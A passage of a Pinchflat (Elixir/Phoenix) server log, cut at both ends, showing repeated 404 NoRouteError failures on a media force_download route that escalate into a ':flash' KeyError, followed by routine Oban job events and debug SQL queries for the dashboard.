"387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/90892/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0r9cHK4VmrYAAJBj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90892/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 60, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90892/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90892/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 60, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVH (truncated) 04:53:49.461 [info] GET /sources/31/media/90892/force_download 04:53:49.463 [debug] QUERY OK source="settings" db=0.3ms idle=201.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.463 [debug] QUERY OK source="settings" db=0.3ms idle=193.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:49.464 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:49.464 [error] #PID<0.139451.0> running PinchflatWeb.Endpoint (connection #PID<0.139184.0>, stream id 61) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/90892/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90892/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90892/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 61, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139451.0>, params: %{}, path_info: ["sources", "31", "media", "90892", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/31/media/90892/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0sgx8cGGVQQAAJCD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90892/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 61, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/90892/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139184.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/90892/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48178}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 61, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVH (truncated) 04:54:00.899 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:05.725 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:35.726 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:55.041 [info] GET / 04:54:55.041 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:54:55.042 [debug] QUERY OK source="settings" db=0.3ms idle=1504.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:55.043 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=1034.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:54:55.044 [debug] QUERY OK source="sources" db=0.3ms idle=505.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:54:55.045 [debug] QUERY OK source="media_items" db=0.7ms idle=506.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:54:55.045 [debug] QUERY OK source="media_items" db=0.4ms idle=34.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:54:55.045 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:55.046 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:55.046 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:55.047 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:54:55.047 [debug] QUERY OK source="media_items" db=0.3ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:54:55.048 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:54:55.048 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:54:55.051 [debug] QUERY OK source="media_items" db=1.2ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:54:55.052 [debug] QUERY OK source="media_items" db=1.3ms idle=4.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:54:55.053 [debug] QUERY OK source="sources" db=0.1ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:54:55.054 [info] Sent 200 in 13ms 04:55:00.900 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:05.728 [info] {"source":"oban","duration":930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:35.730 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.902 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:05.731 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:15.759 [info] GET / 04:56:15.759 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:56:15.760 [debug] QUERY OK source="settings" db=0.1ms idle=1222.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:15.760 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1222.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:56:15.760 [debug] QUERY OK source="sources" db=0.0ms idle=562.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:56:15.761 [debug] QUERY OK source="media_items" db=1.0ms idle=223.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:15.762 [debug] QUERY OK source="media_items" db=0.4ms idle=224.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:15.762 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:15.763 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:15.764 [debug] QUERY OK source="settings" db=0.2ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:56:15.765 [debug] QUERY OK source="tasks" db=0.2ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:56:15.766 [debug] QUERY OK source="media_items" db=0.4ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:56:15.766 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:56:15.767 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 04:56:15.770 [debug] QUERY OK source="media_items" db=1.5ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:56:15.772 [debug] QUERY OK source="media_items" db=1.5ms idle=5.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN 